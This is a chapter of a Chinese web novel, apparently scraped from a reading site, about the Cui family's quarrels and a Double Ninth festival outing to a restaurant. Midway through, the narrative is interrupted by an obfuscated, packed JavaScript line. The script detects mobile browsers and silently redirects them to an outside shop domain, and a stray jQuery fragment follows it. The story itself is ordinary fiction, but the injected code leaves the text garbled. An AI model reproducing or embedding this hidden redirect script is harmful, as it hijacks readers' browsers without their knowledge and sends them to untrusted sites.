崔澜大惊失色。
他不明白为何崔冉儿对蕙风有这么强烈的恨意。
更不明白崔冉儿为什么会莫名其妙把他和蕙风扯在一起。
不过——事后他复盘起这一切……
莫非三婶向太爷提亲的人选便是这蕙风?
但这都是后话了。
此时此刻这个局面就非常棘手。
他正要解释,崔冉儿却等不及,快步走到他跟前甩了他一个巴掌,不等崔澜反应过来,就一路哭着跑出书房。
这巴掌不重。
甚至没留下很明显的红印。
崔澜整日在外奔波操劳,哪有那么细皮嫩肉,何况还是个小姑娘家打的。
他头疼的是,该怎么解释崔冉儿从他这一路哭着跑出去的原因。
长辈们问起该怎么回答?
下人看见会怎么想?
崔澜越想越觉得这崔府待不下去了。
看来重阳一过,他得立马出府避避风头。
他的算盘打的蛮好,甚至已经想好万全之策。
可另一个‘罪魁祸首’却是不管不顾,就那么大大剌剌顶着众人的目光,捂着嘴一路哭回自己的院子。
闹出这么大的动静。
旁的人也就罢了,一向对崔冉儿管教极严的杨氏肯定是要来过问几句的。
杨氏从李嬷嬷那听到消息,简直一个头两个大。
这逆女,才几天不管她,就干出这么不成体统的事,果真上不得台面!
她有心管教崔冉儿,可这家里虽说是程氏当家,可她好歹也是名义上的二奶奶、二夫人,从旁协助这样的事是少不了的。
甚至涉及宗族,大房不在,按长幼孝悌,她这个二嫂就得顶在前面带头。
因此杨氏纵然心里气的不行,可也着实没有那个闲工夫亲自管教。
但完全撒手不管也不行啊,万一她变本加厉闹出更的事来怎么办?
于是还在悲痛欲绝肝肠寸断中的崔冉儿,就这么被杨氏的几个心腹婆子,几乎是架着,带到了杨氏的院子。
杨氏本人自是不在,她和程氏两个妯娌有一大堆事要忙。
所以是心腹代为执行。
然而没有亲娘在一旁镇压,某人自是不服的。
她一开始还反抗。
李嬷嬷看着崔冉儿脸上还流着泪,眼睛却浸满怨毒,心里叹了口气,哀叹这得罪人的差事当真不好做,面上却不得不秉公办理。
“大小姐,得罪了。”
说着,就有两个膀大腰圆的婆子不顾崔冉儿的反抗,强行控制住崔冉儿的身子,强迫她伸出左手,手心朝上。
李嬷嬷再次对崔冉儿说了声“得罪”,便毫不留情地举起手中的戒尺往她白生生的手心上砸去。
十指连心。
崔冉儿当即哀嚎出声。
只是原本心里那么痛,如今手上也痛,像是痛会转移一般,她的心反而没一开始痛彻心扉了,只余下连绵不绝却又刻骨铭心的仇恨。
按照杨氏的吩咐,一共打了二十下。
够疼,但又不会伤及筋骨。
痛过之后便冷静下来。
原本李嬷嬷还防着她,生怕她被打以后恼羞成怒大闹天宫。
可崔冉儿这次却一反常态,不像平时受罚之后作天作地大哭大闹,只是跪坐在地上哀哀哭泣。
她原就生的娇艳欲滴,如今梨花带雨,更有一种平时从未有过的楚楚可怜。
李嬷嬷毕竟看着她长大,又心知自家主子确实是实打实的偏心眼,对这个女儿虽然管的严,但远没有对儿子上心,因此心里对崔冉儿多少有些不忍与怜惜。
见她反倒乖巧起来,便也放软了语气,“大小姐也别怪奴才,更别怪夫人。夫人管教你如此严格,也是为你好,只因这事实在影响不好。大公子是个男人,他能有什么事?可小姐你还是个未出阁的姑娘家,这种事情传出去委实有损姑娘家的名声,也不怪夫人生气。”
眼见崔冉儿被她说的低下了头,李嬷嬷深深叹了口气,“罢了罢了,奴才我也不细问究竟是何原因,夫人说了,她今晚回来会亲自盘问。我看小姐现在就很不错,到了夫人跟前也别太拧,软和话多说几句,好好道歉说明白缘由,夫人是会宽容你的。”
崔冉儿心中滔天的怒意已经被冰封成一条条尖利的细针,就等什么契机一经发出便如暴雨梨花针将来人射个乱箭穿心。
蜘蛛为了完成一次真正的猎杀,可以耗费毕生心血织就一张密不透风的蛛网,等到猎物落网,便即刻发出致命一击,见血封喉。人的恨意达到一定境界,其实也不遑多让。
崔冉儿收敛所有心思,一边哭一边哽咽,“我知道错了,只是李嬷嬷,母亲真的不会怪我么?”
李嬷嬷安慰她:“不会的大小姐。夫人还是很疼你的,你现在认错的态度就很好。夫人说了,你只需要再跪一个时辰,就可以回自己院子。等夫人回来,我会再在旁求求情,会很快没事的。”
“那我还能参加今晚在玉馔坊的宴席么?”崔冉儿小心翼翼抬眸看了李嬷嬷一眼,眸中含泪,眼里满是期待,同时神态又处处表现出不安,“大家都去了,我也想去,我若是不去,别人更会笑话我,说我被大哥哥赶回来,连宴席也不让我参加呜呜呜……”
李嬷嬷瞧她这样怪可怜见的,夫人倒是没说让不让她参加……
李嬷嬷看着这个平时骄傲张扬的大小姐竟然对自己这么个奴才露出这么卑微惶恐的一面,心中得意的同时又觉得怪不落忍。
想着这是早就约定好的事,何况夫人也没说不让去。
那……这应该是可以的吧?
李嬷嬷忙道:“小姐放心,夫人没说不让去。你好好在这跪着,等跪够了时辰,收拾一番便可出门。”
崔冉儿当即做出一番欣喜若狂的模样,连忙用那只没被打的手擦干净眼泪,然后一把握住李嬷嬷的手,破涕为笑。
“多谢嬷嬷!多谢嬷嬷!”
崔冉儿一贯心高气傲。
这回能这么容易就服软实在出乎李嬷嬷的意料。
或许是为了照顾崔冉儿的面子,更是为了不把这位大小姐得罪太狠。
李嬷嬷专程把大厅里的丫鬟婆子都撤了,不让崔冉儿在众目睽睽下,当着一大帮子奴才的面失了主子的体统。
于是整个大厅便只有崔冉儿一个人,跪在里面无声忏悔……
----
当天边最后一抹晚霞被远山吞尽,岚县的灯火便一盏接着一盏点亮。
昏黄的灯火将半座城都映的发亮。
重阳当天自然是要有菊花相衬才相得益彰。
虽有红粉白紫黄绿等不同颜色的菊,但显然黄色的菊花才更深入人心。
城中各处但凡摆菊花,也都是以黄菊为主。
因此整个岚县,尤其岚县的主城区,早已在灯火与鲜花的辉映下,成为一片明黄色的发亮的星子的海洋。
越到主城区,越到经济繁华的地段,越加灯火通明。
明黄的光亮愈发璀璨夺目。
这晚的夜市,较之以往也更加热闹百倍。
街上到处都是卖重阳糕和菊花酒的,虽已入夜,明月高悬,但街道上的客流量依旧非常大,人群熙熙攘攘,路上每隔一段便搭了个灯棚,街头卖艺的人直接在大街上咿咿呀呀唱起来耍起来。
至于街道两旁开着的各色店铺,什么酒楼饭庄茶馆茶楼点心铺子,各个座无虚席生意兴隆,人进人出好不热闹!
而就在繁华闹市的市中心,大名鼎鼎的玉馔坊就那么静静伫立在繁华昂贵的地段,一览全城热闹无余。
那是一栋足足有六层楼高的建筑,气势恢宏,黑瓦红柱,飞檐如翼。
前临一条蜿蜒而上直至浮岚山的清水河,河上有游船画舫缓慢渡过,丝丝笙歌从舫中传到岸上,一片笑语喧哗;背靠的则是一大片森森古木,林木的清香和着晚间的秋风伴着菊的微苦香甜,将整个玉馔坊环抱,沉浸在风和香的怀抱里无法自拔。
单单凭地段,玉馔坊可不值得岚县的首富不计成本经年累月在这定有包间。
实际上,这玉馔坊妙就妙在闹中取“静”。
酒楼内的陈设布置自然极其高雅,极其有品位,家具装修自然极其讲究,极其昂贵。
可这并非它真正的妙处。
它真正的妙处,乃是它有足够的隐蔽性。
简言之,私密性足够高,对客人的保密程度一流。
这才是它能被一众达官贵人青睐的重要原因。
事实上,玉馔坊在岚县也开了几十年,没人真正见过它背后的老板。
平时出面管事兼招待的都是掌柜的。
无论岚县换了多少任知县,这玉馔坊始终屹立不倒,也是神奇。
崔家在这玉馔坊定的与其说是一个包间,倒不如讲是一个微型庭院——当然,是没有院子的,只是说这个“房间”里面各色布置设施一应俱全,而且靠窗,有一个露台从离挑出去,露台三处朝外的面皆有雕花木栏围着,在里面待闷了,随时可凭栏倚望,纵览这岚县的大好风光繁华夜景!
崔家定的这处楼层够高,在第五层。
而且十分独具匠心的是,这整座阁楼,只有第五层有露台,往上往下都没有,仅有窗户开通。
因此在保证这层楼的客人视野开阔将大好风光尽收眼底的同时,又可以别的楼层的人包括街道上的不能私自窥探。
不知道谁设计的。
但反正这个地方确实蛮适合大户人家的小姐们待着。
既能玩的尽兴,凑凑这市中心的热闹,弥补女子不能像男子那般随意出来逛街的遗憾,又能保护女儿家的隐私和名声。
崔任考虑的非常周到,是等夜色完全笼罩才把家里的几个女孩子都接出来。
蕙风再成熟再对外界漠不关心,如今乍一看这玉馔坊的奢华装修,也不由得瞠目结舌目不转睛。
真不愧是大齐最繁华的城市,锦绣富丽不足以形容。
在楼下就足够令蕙风这个乡下来的丫头眼花缭乱,等到了五楼的包间,蕙风更是不由得啧啧称叹。
这哪像是个房间呀,面积都快赶上她住院子大了——当然,得撇除她院子里真正庭院,和室内居住的总面积差不多大。
全间足足用屏风、竹帘、花罩隔出四个不同的区域,分别是轩室厅堂四处。
说实话,这要是不回家住在这,除了没有院子,跟在家也没什么区别——不!
蕙风终于看见了正前方的露台。
她跟着一大群人从门口进来,一边往里走,离前方的露台越来越近,外面天空的暮景在她眼前露的越来越多。
绚烂且姹紫嫣红的烟花盛开在深蓝色的幕空当中。
蕙风见此更是心旷神怡心向往之……
有这个露台在,跟在家住有什么分别?
倘若一个人住在这,还不会有人来打扰,可以自由自在单独僻静的生活。
这简直是她最理想的居所。
想的太过沉迷,以至于崔彩儿叫她好几声都没听见。
哦,其实应该是崔任叫她。
崔彩儿离得最近,便拽了拽她的胳膊,低声提醒:“想什么呢?我阿兄唤你好几声了。”
蕙风连忙回过神,下意识往崔任的方向看过去,见他又用一种她觉得怪尴尬的眼神望着自己,因此只好勉强对他笑了一下。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839670|211592||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“任表兄,有什么事么?”
崔任笑了笑,“我是讲,你有什么爱吃的点心,这里什么都有,请遍天南海北各大名厨。我也不知你们赵家庄那边的饮食习惯,但你告诉我,我再吩咐厨下,他们无论什么都能做得出来。”
崔彩儿笑嘻嘻打趣,“阿兄,我和冉儿也有想吃的,你怎不问我们两个,也不问大哥哥爱吃什么,偏只问蕙风一个人?嗯?”说着目光刻意流转到蕙风身上,促狭地冲她挤了挤眼。
蕙风当即闹了个大红脸。
崔任一直有留意蕙风的反应,见她反应尴尬——尴尬是尴尬,可仔细瞧,除了尴尬并无任何小儿女之态——不由得大失所望!
崔澜最会察言观色,又是唯一一个成过亲的人,完完全全的过来人,虽然才来府上几天,但就这么一会儿功夫,一下子就看明白自己这一众弟妹私底下的‘风起云涌’。
因此开怀笑道:“我无所谓,我向来不留意吃穿这种细枝末节的东西,咱们几个又是从小一处长大,饮食口味互相都了解。倒是蕙风表妹,初来乍到,来岚县这么长时间也没出来仔细玩过,合该先问她,让她玩的尽兴。”
这话算是给崔任递台阶。
可崔任这会子哪会在意自己有没有被拂面子?
他已经火烧眉头了!
他娘已经在预备送往郑家的纳采礼。
只等女方同意便可下聘。
然后就是大局已定,他这辈子便与蕙风再无任何可能……
崔澜见堂弟不上道,迟迟没有接茬,觉得奇怪。
再看一旁的蕙风。
安安静静,十分沉稳。
瞬间明悟!
又是一出襄王有梦神女无心的戏码。
不由得会心一笑。
正准备将话题岔到别的方向上缓解一下气氛,“依我看,倒不如……”
刚抬眸,却不偏不倚与崔冉儿的目光撞上。
崔冉儿神情木木,只一味盯着他看,眼睛一眨不眨。
崔澜淡定收回目光,缓缓说道:“倒不如将食单拿过来让蕙风亲自选,再把店内的招牌点心各上一遍。喜欢哪样就多上几盘,总而言之,她们姑娘家家的正大光明出来玩一趟不容易,蕙风又是客人,自是怎么随性怎么来。”
这个方案得到了大家一致的认可。
大家统一坐在靠近露台的那张桌子上。
大伙已经在府里用完晚膳。
出来的目的也不是为了吃,只是带府里的几个女孩子出来见见世面,凑个热闹,感受一下节日的气氛。
因此便约定,不按传统的顺序上菜,直接上餐后甜点。
“既是重阳节,那么为了应景,重阳糕便必不可少了。蕙风,尝尝这个九层重阳糕。”崔澜指着摆在蕙风面前的糕点说道。
崔澜一边说一边环顾了一下四周:
崔任从进门和蕙风说了几句话状态就一直很低迷,也不怎么说话。
崔冉儿则从一开始到现在都安静非常,像霜打的茄子,文静的不像话。
崔彩儿倒是活泼依旧,嗯,目前也就她跟蕙风两个人实打实在享受这次外出游玩了。
崔澜在心里叹气。
越来越觉得这个世道没意思。
世间为何总是平白无故多出这么些痴男怨女来?
难道就没有一个不为情爱所累清清爽爽活在这世上的人么?
九重重阳糕。顾名思义,是有九层的,颜色由下及上,从米白到深红,再到最顶层晶莹剔透的蜜黄,层层分明,每一层都薄的匀净。
一看就很有食欲。
蕙风听从招呼,用筷子夹了一口放进嘴里,入口即化,甜而不腻,糯不粘牙,香味极幽极雅,沁人心脾。
“这味道确实非常不错!”蕙风由衷赞叹。
她其实很喜欢吃甜食。
她从小到大吃了不知道多少丸药,喝了不计其数的苦涩药汤,且百般忌口,这不能吃,那不能吃,能吃的经年累月只有那几样,味觉其实已经接近麻木。
吃饭对如今的她而言,更确切来讲是进食,食欲只有饿肚子的时候才能萌生。
肚子不饿的情况下,再是如何珍馐的美味摆在她面前都不带看一眼的。
也就只有与苦味相对立的甜点,能够稍微挑动一下她已逐渐麻木的味蕾了。
倒也不能太甜。
太甜容易腻。
而且对身体不好。
做病患做久了,没人比蕙风更明白适可而止的重要。
总而言之,凡事须适度。
“有这么好吃?”崔彩儿头回见她反应如此之大地表示赞叹,也夹了一口放嘴里。
跟以前一样的味道呀。
不过确实比他们府里的口味稍淡一点。
但崔彩儿这个正常人嘴里,却吃不出太分明的感觉。
蕙风克制住自己,不立马伸第二筷子,不好意思地笑了笑:“许是我口味轻的缘故。这重阳糕的甜度较寻常的糕点低许多,所以正正合适。”
崔澜笑道:“你吃着好便好。这九重重阳糕也不是什么稀罕物,咱们是这玉馔坊的常客了,往后定期让玉馔坊送一盘到府上给你也就罢了,费不了什么事。”
蕙风连忙摆手,“这怎么好意思——”
崔澜意有所指地用眼角余光看了眼一旁沉默不语的崔任,笑道:“别客气。往后说不定我们还有机会成为真正的一家……”
“啪”地一声。
惊醒了众人。
寻着响声望去——
瓷□□致的酒杯在地上躺成几瓣。
崔冉儿抱歉地冲他们笑了一下。
“不好意思,没拿稳。”